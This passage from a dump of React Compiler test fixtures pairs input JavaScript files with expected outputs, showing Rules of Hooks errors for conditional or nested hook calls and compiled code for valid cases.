    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHookWithConditionalHook() {\n  if (cond) {\n    useConditionalHook();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-ea7c2fb545a9.ts:7:4\n   5 | function useHookWithConditionalHook() {\n   6 |   if (cond) {\n>  7 |     useConditionalHook();\n     |     ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-ea7c2fb545a9.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHookWithConditionalHook() {\n  if (cond) {\n    useConditionalHook();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  if (b) {\n    console.log('true');\n  } else {\n    console.log('false');\n  }\n  if (a) return;\n  useState();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-f3d6c5e9c83d.ts:12:2\n  10 |   }\n  11 |   if (a) return;\n> 12 |   useState();\n     |   ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  13 | }\n  14 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  if (b) {\n    console.log('true');\n  } else {\n    console.log('false');\n  }\n  if (a) return;\n  useState();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.expect.md",
    "content": "\n## Input\n\n```javascript\n// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook({bar}) {\n  let foo1 = bar && useState();\n  let foo2 = bar || useState();\n  let foo3 = bar ?? useState();\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-f69800950ff0.ts:6:20\n  4 | // This *must* be invalid.\n  5 | function useHook({bar}) {\n> 6 |   let foo1 = bar && useState();\n    |                     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   let foo2 = bar || useState();\n  8 |   let foo3 = bar ?? useState();\n  9 | }\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-f69800950ff0.ts:7:20\n   5 | function useHook({bar}) {\n   6 |   let foo1 = bar && useState();\n>  7 |   let foo2 = bar || useState();\n     |                     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |   let foo3 = bar ?? useState();\n   9 | }\n  10 |\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-rules-of-hooks-f69800950ff0.ts:8:20\n   6 |   let foo1 = bar && useState();\n   7 |   let foo2 = bar || useState();\n>  8 |   let foo3 = bar ?? useState();\n     |                     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.js",
    "content": "// Expected to fail\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook({bar}) {\n  let foo1 = bar && useState();\n  let foo2 = bar || useState();\n  let foo3 = bar ?? useState();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.expect.md",
    "content": "\n## Input\n\n```javascript\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction createHook() {\n  return function useHookWithConditionalHook() {\n    if (cond) {\n      useConditionalHook();\n    }\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-0a1dbff27ba0.ts:6:6\n  4 |   return function useHookWithConditionalHook() {\n  5 |     if (cond) {\n> 6 |       useConditionalHook();\n    |       ^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |     }\n  8 |   };\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.js",
    "content": "// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction createHook() {\n  return function useHookWithConditionalHook() {\n    if (cond) {\n      useConditionalHook();\n    }\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0de1224ce64b.expect.md",
    "content": "\n## Input\n\n```javascript\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction createComponent() {\n  return function ComponentWithHookInsideCallback() {\n    useEffect(() => {\n      useHookInsideCallback();\n    });\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-0de1224ce64b.ts:6:6\n  4 |   return function ComponentWithHookInsideCallback() {\n  5 |     useEffect(() => {\n> 6 |       useHookInsideCallback();\n    |       ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |     });\n  8 |   };\n  9 | }\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call useEffect within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-0de1224ce64b.ts:5:4\n  3 | function createComponent() {\n  4 |   return function ComponentWithHookInsideCallback() {\n> 5 |     useEffect(() => {\n    |     ^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  6 |       useHookInsideCallback();\n  7 |     });\n  8 |   };\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0de1224ce64b.js",
    "content": "// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction createComponent() {\n  return function ComponentWithHookInsideCallback() {\n    useEffect(() => {\n      useHookInsideCallback();\n    });\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-449a37146a83.expect.md",
    "content": "\n## Input\n\n```javascript\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction createComponent() {\n  return function ComponentWithHookInsideCallback() {\n    function handleClick() {\n      useState();\n    }\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call useState within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-449a37146a83.ts:6:6\n  4 |   return function ComponentWithHookInsideCallback() {\n  5 |     function handleClick() {\n> 6 |       useState();\n    |       ^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |     }\n  8 |   };\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-449a37146a83.js",
    "content": "// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction createComponent() {\n  return function ComponentWithHookInsideCallback() {\n    function handleClick() {\n      useState();\n    }\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-76a74b4666e9.expect.md",
    "content": "\n## Input\n\n```javascript\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction ComponentWithHookInsideCallback() {\n  function handleClick() {\n    useState();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call useState within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-76a74b4666e9.ts:5:4\n  3 | function ComponentWithHookInsideCallback() {\n  4 |   function handleClick() {\n> 5 |     useState();\n    |     ^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  6 |   }\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-76a74b4666e9.js",
    "content": "// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction ComponentWithHookInsideCallback() {\n  function handleClick() {\n    useState();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d842d36db450.expect.md",
    "content": "\n## Input\n\n```javascript\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction createComponent() {\n  return function ComponentWithConditionalHook() {\n    if (cond) {\n      useConditionalHook();\n    }\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-d842d36db450.ts:6:6\n  4 |   return function ComponentWithConditionalHook() {\n  5 |     if (cond) {\n> 6 |       useConditionalHook();\n    |       ^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |     }\n  8 |   };\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d842d36db450.js",
    "content": "// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction createComponent() {\n  return function ComponentWithConditionalHook() {\n    if (cond) {\n      useConditionalHook();\n    }\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d952b82c2597.expect.md",
    "content": "\n## Input\n\n```javascript\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction ComponentWithHookInsideCallback() {\n  useEffect(() => {\n    useHookInsideCallback();\n  });\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid.invalid-rules-of-hooks-d952b82c2597.ts:5:4\n  3 | function ComponentWithHookInsideCallback() {\n  4 |   useEffect(() => {\n> 5 |     useHookInsideCallback();\n    |     ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  6 |   });\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d952b82c2597.js",
    "content": "// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nfunction ComponentWithHookInsideCallback() {\n  useEffect(() => {\n    useHookInsideCallback();\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Regression test for some internal code.\n// This shows how the \"callback rule\" is more relaxed,\n// and doesn't kick in unless we're confident we're in\n// a component or a hook.\nfunction makeListener(instance) {\n  each(pixelsWithInferredEvents, pixel => {\n    if (useExtendedSelector(pixel.id) && extendedButton) {\n      foo();\n    }\n  });\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Regression test for some internal code.\n// This shows how the \"callback rule\" is more relaxed,\n// and doesn't kick in unless we're confident we're in\n// a component or a hook.\nfunction makeListener(instance) {\n  each(pixelsWithInferredEvents, (pixel) => {\n    if (useExtendedSelector(pixel.id) && extendedButton) {\n      foo();\n    }\n  });\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// Regression test for some internal code.\n// This shows how the \"callback rule\" is more relaxed,\n// and doesn't kick in unless we're confident we're in\n// a component or a hook.\nfunction makeListener(instance) {\n  each(pixelsWithInferredEvents, pixel => {\n    if (useExtendedSelector(pixel.id) && extendedButton) {\n      foo();\n    }\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because exceptions abort rendering\nfunction RegressionTest() {\n  if (page == null) {\n    throw new Error('oh no!');\n  }\n  useState();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because exceptions abort rendering\nfunction RegressionTest() {\n  if (page == null) {\n    throw new Error(\"oh no!\");\n  }\n\n  useState();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.js",
    "content": "// Valid because exceptions abort rendering\nfunction RegressionTest() {\n  if (page == null) {\n    throw new Error('oh no!');\n  }\n  useState();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-1ff6c3fbbc94.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because components can use hooks.\nfunction ComponentWithHook() {\n  useHook();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because components can use hooks.\nfunction ComponentWithHook() {\n  useHook();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-1ff6c3fbbc94.js",
    "content": "// Valid because components can use hooks.\nfunction ComponentWithHook() {\n  useHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-23dc7fffde57.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  return useHook1() + useHook2();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  return useHook1() + useHook2();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-23dc7fffde57.js",
    "content": "// Valid because hooks can call hooks.\nfunction useHook() {\n  return useHook1() + useHook2();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because hooks can call hooks.\nfunction createHook() {\n  return function useHook() {\n    useHook1();\n    useHook2();\n  };\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because hooks can call hooks.\nfunction createHook() {\n  return function useHook() {\n    useHook1();\n    useHook2();\n  };\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because hooks can call hooks.\nfunction createHook() {\n  return function useHook() {\n    useHook1();\n    useHook2();\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2e405c78cb80.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState() && a;\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState() && a;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2e405c78cb80.js",
    "content": "// Valid because hooks can call hooks.\nfunction useHook() {\n  useState() && a;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because hooks can use hooks.\nfunction createHook() {\n  return function useHookWithHook() {\n    useHook();\n  };\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because hooks can use hooks.\nfunction createHook() {\n  return function useHookWithHook() {\n    useHook();\n  };\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because hooks can use hooks.\nfunction createHook() {\n  return function useHookWithHook() {\n    useHook();\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-347b0dae66f1.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because functions can call functions.\nfunction normalFunctionWithNormalFunction() {\n  doSomething();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because functions can call functions.\nfunction normalFunctionWithNormalFunction() {\n  doSomething();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-347b0dae66f1.js",
    "content": "// Valid because functions can call functions.\nfunction normalFunctionWithNormalFunction() {\n  doSomething();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-485bf041f55f.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because functions can call functions.\nfunction functionThatStartsWithUseButIsntAHook() {\n  if (cond) {\n    userFetch();\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because functions can call functions.\nfunction functionThatStartsWithUseButIsntAHook() {\n  if (cond) {\n    userFetch();\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-485bf041f55f.js",
    "content": "// Valid because functions can call functions.\nfunction functionThatStartsWithUseButIsntAHook() {\n  if (cond) {\n    userFetch();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-4f6c78a14bf7.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid although unconditional return doesn't make sense and would fail other rules.\n// We could make it invalid but it doesn't matter.\nfunction useUnreachable() {\n  return;\n  useHook();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid although unconditional return doesn't make sense and would fail other rules.\n// We could make it invalid but it doesn't matter.\nfunction useUnreachable() {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-4f6c78a14bf7.js",
    "content": "// Valid although unconditional return doesn't make sense and would fail other rules.\n// We could make it invalid but it doesn't matter.\nfunction useUnreachable() {\n  return;\n  useHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because the neither the condition nor the loop affect the hook call.\nfunction App(props) {\n  const someObject = {propA: true};\n  for (const propName in someObject) {\n    if (propName === true) {\n    } else {\n    }\n  }\n  const [myState, setMyState] = useState(null);\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because the neither the condition nor the loop affect the hook call.\nfunction App(props) {\n  const someObject = { propA: true };\n  for (const propName in someObject) {\n    if (propName === true) {\n    }\n  }\n\n  useState(null);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.js",
    "content": "// Valid because the neither the condition nor the loop affect the hook call.\nfunction App(props) {\n  const someObject = {propA: true};\n  for (const propName in someObject) {\n    if (propName === true) {\n    } else {\n    }\n  }\n  const [myState, setMyState] = useState(null);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-7e52f5eec669.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because components can call functions.\nfunction ComponentWithNormalFunction() {\n  doSomething();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because components can call functions.\nfunction ComponentWithNormalFunction() {\n  doSomething();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-7e52f5eec669.js",
    "content": "// Valid because components can call functions.\nfunction ComponentWithNormalFunction() {\n  doSomething();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-844a496db20b.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can use hooks.\nfunction useHookWithHook() {\n  useHook();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because hooks can use hooks.\nfunction useHookWithHook() {\n  useHook();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-844a496db20b.js",
    "content": "// Valid because hooks can use hooks.\nfunction useHookWithHook() {\n  useHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because components can use hooks.\nfunction createComponentWithHook() {\n  return function ComponentWithHook() {\n    useHook();\n  };\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because components can use hooks.\nfunction createComponentWithHook() {\n  return function ComponentWithHook() {\n    useHook();\n  };\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// Valid because components can use hooks.\nfunction createComponentWithHook() {\n  return function ComponentWithHook() {\n    useHook();\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-93dc5d5e538a.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because the loop doesn't change the order of hooks calls.\nfunction RegressionTest() {\n  const res = [];\n  const additionalCond = true;\n  for (let i = 0; i !== 10 && additionalCond; ++i) {\n    res.push(i);\n  }\n  React.useLayoutEffect(() => {});\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because the loop doesn't change the order of hooks calls.\nfunction RegressionTest() {\n  const res = [];\n\n  for (let i = 0; i !== 10 && true; ++i) {\n    res.push(i);\n  }\n\n  React.useLayoutEffect(_temp);\n}\nfunction _temp() {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-93dc5d5e538a.js",
    "content": "// Valid because the loop doesn't change the order of hooks calls.\nfunction RegressionTest() {\n  const res = [];\n  const additionalCond = true;\n  for (let i = 0; i !== 10 && additionalCond; ++i) {\n    res.push(i);\n  }\n  React.useLayoutEffect(() => {});\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-9a47e97b5d13.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can be used in anonymous function arguments to\n// forwardRef.\nconst FancyButton = React.forwardRef(function (props, ref) {\n  useHook();\n  return <button {...props} ref={ref} />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Valid because hooks can be used in anonymous function arguments to\n// forwardRef.\nconst FancyButton = React.forwardRef(function (props, ref) {\n  const $ = _c(3);\n  useHook();\n  let t0;\n  if ($[0] !== props || $[1] !== ref) {\n    t0 = <button {...props} ref={ref} />;\n    $[0] = props;\n    $[1] = ref;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-9a47e97b5d13.js",
    "content": "// Valid because hooks can be used in anonymous function arguments to\n// forwardRef.\nconst FancyButton = React.forwardRef(function (props, ref) {\n  useHook();\n  return <button {...props} ref={ref} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-9d7879272ff6.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  return useHook1(useHook2());\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  return useHook1(useHook2());\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-9d7879272ff6.js",
    "content": "// Valid because hooks can call hooks.\nfunction useHook() {\n  return useHook1(useHook2());\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c1e8c7f4c191.expect.md",
